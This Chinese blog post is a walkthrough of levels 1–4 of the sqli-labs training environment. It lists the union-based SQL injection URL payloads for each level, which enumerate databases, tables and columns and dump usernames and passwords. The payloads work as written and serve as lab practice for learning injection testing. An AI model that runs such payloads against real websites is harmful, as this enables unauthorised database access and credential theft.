首先介绍MySQL的基本用法

打开MySQL工具里的MySQL命令行

输入密码,进入MySQL的命令行

基本用法:

查库:select schema_name from information_schema.schemata;

查表:select table_name from information_schema.tables where table_schema=’security’;

查列:select column_name from information_schema.columns where table_name=’users’;

查字段:select username,password from security.users;

 

Less-1

在网站根目录下进入Less-1的index.php(用notpad打开),加入两句话,以后每一关都这样

echo $sql;(将构造的sql语句进行输出)

echo "<br>";(换行)

进入第一关

?id=1‘   如下图,显示有错误 表示注入漏洞

 LIMIT 0,1   其中第一个数是从第几个开始,比如0代表从第1个开始,而第二位的数是代表显示多少个数据

?id=1’or 1=1--+      可以正常回显 其中--+是注释(--空格和#也是注释)注释代表后面的句子将不会执行

or 代表只要其中一个正确就正确;and代表两个都正确才正确

当order by 3--+时才会有回显,表示这个表只有三列

?id=1’ union select 1,2,3--+     没有正确回显

?id=-1’ union select 1,2,3--+    加有负号的表示将其注释,正确回显

?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 2,1--+

通过改变limit 第一位的数(0,1,2)来获得回显的数据

 ?id=-1’ union select 1,2,group_concat(schema_name)from information_schema.schemata --+

使用group_concat()函数 得所呈现的数据在一行显示

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

此种方法涉及单引号问题,可以将security转换为16进制编码

 

?id=-1'union select 1,2,group_concat(password) from security.users--+

?id=-1'union select 1,2,group_concat(username) from security.users--+

通过使用concat_ws(‘~’,A,B)可以使两个同时显示,~做隔开,比如  admin~password

?id=-1'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

将'~'转换为16进制结果相同

 总结

 

 

 

Less2

这一关与第一关不同的是?id=1后面没有单引号

?id=1 union select 1,2,3--+      不正常回显

?id=-1 union select 1,2,3--+     加负号恢复正常

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x736572637572697479--+     (16进制处为security)

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+    (16进制处为users)

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+   (16进制处为~)

Less3

与前两关基本一致

?id=1   

 ?id=1') order by 3--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x736572637572697479--+     (16进制处为security)

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+    (16进制处为users)

?id=-1')  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+   (16进制处为~)

Less-4  使用(”1“)包裹

?id=1"  查看是否有注入

?id=1") order by 3--+  查看有多少列

?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+   查看所有数据库

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x736572637572697479--+     查看所有表

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+    查看所有列

?id=-1“)  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+   可以直接得到账号和密码,并使用~进行分割

 

 posted on 2020-02-01 21:30  骑着七彩祥云的少年  阅读(138)  评论(0编辑  收藏  举报